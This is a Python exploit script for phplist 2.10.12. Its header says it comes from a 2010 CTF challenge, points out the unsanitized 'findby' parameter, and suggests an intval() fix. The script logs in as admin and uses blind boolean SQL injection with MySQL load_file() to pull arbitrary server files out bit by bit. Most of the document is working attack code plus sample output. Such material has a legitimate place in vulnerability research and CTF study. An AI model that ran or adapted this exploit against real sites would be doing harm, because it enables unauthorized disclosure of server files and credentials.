#!/usr/bin/python
#
# Exploit Title: phplist 2.10.12 SQL injection, local file disclosure
# Date: July 14, 2010
# Author: Anonymous
# Software Link: http://www.phplist.com
# Version: 2.10.12
# CVE: none
# Patch Instructions: none
# References: http://www.smpctf.com 2010 Hacker Olympics, ctf challenge 11
# Thanks: Nibbles, smpCTF staff for providing a 0day as a challenge :)
#
# Vulnerability in /lists/admin/commonlib/pages/users.php
#   57: $_SESSION["userlistfilter"]["findby"] = removeXss($_GET["findby"]);
#   65: $findby = $_SESSION["userlistfilter"]["findby"];
#   82: $findatt = Sql_Fetch_Array_Query("select id,tablename,type,name from {$tables["attribute"]} where id = $findby");
#   findby is not sanitized and allows SQL injection
#   Proposed fix: since it's an integer, why not intval() it?
#
# Proof-of-Concept
#   $ echo -n "poc" > /var/www/file
#   $ python phplist_21012_sql_injection_local_file_disclosure.py localhost /phplist admin phplist /var/www/file verbose
#   [*] phplist 2.10.12 SQL injection, local file disclosure
#   [+] Login successfull
#   [*] Retrieving '/var/www/file'
#   [+] '/var/www/file' length: 3
#   [+] Got: 'p'
#   [+] Got: 'po'
#   [+] Got: 'poc'
#   poc
#

from urllib import urlencode
from httplib import HTTPConnection
from sys import argv, exit

class phplist():
    def __init__(self, host, baseurl, username='admin', password='phplist'):
        self.host, self.baseurl = host, baseurl
        self.username, self.password = username, password
        self.sessid = None
        self.reqs = 0
    
    def login(self):
        params = urlencode({'login': self.username, 'password': self.password})
        headers = {"Host": self.host, "Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
        c = HTTPConnection(self.host)
        c.request("POST", self.baseurl+'/lists/admin/', params, headers)
        r = c.getresponse()
        data = r.read()
        for header,value in r.getheaders():
            if header=='set-cookie':
                self.sessid = value.split(';')[0]
                return True
        return False
    
    def sqli(self, sql):
        headers = {"Host": self.host, 'Cookie': self.sessid }
        c = HTTPConnection(self.host)
        params = urlencode({
            'page': 'users',
            'start': '0',
            'sortby': '0',
            'sortorder': 'desc',
            'change': 'Sort',
            'id': '0',
            'find': 'x',
            'findby': '0 and if('+sql+', (select table_name from information_schema.tables), 1)'
        })
        c.request("GET", self.baseurl+'/lists/admin/'+'?'+params, None, headers)
        self.reqs += 1
        r = c.getresponse()
        data = r.read()
        c.close()
        if 'This document requires you to log in' in data:
            raise Exception('Not logged in, login() first')
        return 'Subquery returns more than 1 row' in data
    
    def length_test(self, file, min, max):
        return self.sqli('length(load_file(0x'+file.encode('hex')+')) between '+str(min)+' and '+str(max))
    
    def length_dichotomy(self, file, min, max):
        if min+1==max:
            return max
        if self.length_test(file, min-1, min+(max-min)/2):
            return self.length_dichotomy(file, min, min+(max-min)/2)
        else:
            return self.length_dichotomy(file, min+(max-min)/2, max)
    
    def length(self, file, min=-1, max=1024):
        while not self.length_test(file, min, max):
            max += 1024
        return self.length_dichotomy(file, min, max)
    
    def getbit(self, file, charpos, bitpos):
        return self.sqli('substr(lpad(bin(ord(substr(load_file(0x'+file.encode('hex')+'),'+str(charpos+1)+',1))),8,0),'+str(bitpos+1)+',1)=1')
    
    def findchar(self, file, pos):
        bits = ''
        for bitpos in range(8):
            bits += '1' if self.getbit(file, pos, bitpos) else '0'
        return chr(int(bits,2))
    
    def get(self, file, length=0, offset=0, verbose=True):
        if length==0:
            length = self.length(file)
            print "[+]", repr(file), "length:", length
        contents = ''
        while True:
            c = self.findchar(file, offset)
            contents += c
            if verbose:
                print "[+] Got:", repr(contents)
            offset += 1
            if offset>=length:
                break
        return contents

if __name__ == '__main__':
    print "[*] phplist 2.10.12 SQL injection, local file disclosure"
    if len(argv)<5:
        print "Usage: %s <host> <path to phplist> <admin username> <admin password> <file to get> [verbose]" % argv[0]
        exit(1)
    P = phplist(argv[1], argv[2], argv[3], argv[4])
    if P.login():
        print "[+] Login successfull"
        print "[*] Retrieving", repr(argv[5])
        print P.get(argv[5], verbose=True if len(argv)>6 else False)
    else:
        print "[-] Login failed. Wrong path/username/password?"
